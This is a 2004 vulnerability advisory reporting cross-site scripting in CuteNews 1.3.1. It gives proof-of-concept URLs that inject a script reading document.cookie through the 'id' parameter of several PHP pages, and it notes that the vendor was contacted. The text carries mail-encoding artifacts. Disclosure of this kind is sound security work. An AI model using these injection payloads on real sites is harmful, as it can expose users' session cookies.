http://www.swp-zone.org/archivos/advisory-06.txt

---------------------------------------------------------------------------=
----------------------

:.: Cross-Site Scripting CuteNews :.:=20

PROGRAM: CuteNews=20
HOMEPAGE: http://cutephp.com/
VERSION: v1.3.1
BUG: Cross-Site Scripting
DATE: 23/05/2004
AUTHOR: DarkBicho
web: http://www.darkbicho.tk
team: Security Wari Proyects <www.swp-zone.org>
Email: darkbicho@peru.com

---------------------------------------------------------------------------=
----------------------

1.- Affected software description:
-----------------------------

CuteNews is a popular News Publishing, written in php by
CutePHP.

2.- Vulnerabilities:
---------------

A. Cross-Site Scripting aka XSS:

:.: In Id :
http://attacker/show_archives.php?su...comments&id=3D<script>al=
ert(document.cookie);</script>&archive=3D&start_from=3D&ucat=3D&&archive= 3D=
&start_from=3D&ucat=3D&

http://attacker/show_news.php?subact...comments&id=3D<script>alert(d=
ocument.cookie);</script>&archive=3D&start_from=3D&ucat=3D&

http://attacker/example1.php?subaction=3Dshowfull&id=3D<script>alert(docume=
nt.cookie);</script>

http://attacker/example2.php?subaction=3Dshowfull&id=3D<script>alert(docume=
nt.cookie);</script>

=20=20=20=20
=20=20=20
3.- SOLUTION:
=A8=A8=A8=A8=A8=A8=A8=A8
Vendors were contacted many weeks ago and plan to release a fixed
version soon.=20
Check the CuteNews website for updates and official release details.=20


4.- Greetings:
---------

greetings to my Peruvian group swp and perunderforce =20
"EL PISCO ES Y SERA PERUANO"


5.- Contact
-------

WEB: http://www.darkbicho.tk
EMAIL: darkbicho@peru.com


---------------------------------------------------------------------------=
----------------------
___________ ____________=20
/ _____/ \ / \______ \=20=20=20
\_____ \\ \/\/ /| ___/=20=20=20=20=
=20=20
/ \\ / | |=20=20=20=20=20=20=
=20=20
/_______ / \__/\ / |____|=20=20=20=20=20=20=
=20
\/ \/=20=20=20=20=20=20=20=20
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=2 0=20=20=20=20=20=20
Security Wari Projects=20
(c) 2002 - 2004
Made in Peru

----------------------------------------[ EOF=20=20
]----------------------------------------------
=A0=0D
=A0=A0=0D
=A0=A0=0D
DarkBicho =0D
Web: http://www.darkbicho.tk=0D
"Mi unico delito es ver lo que otros no pueden ver"=0D
=0D
---------------------- The End ----------------------=0D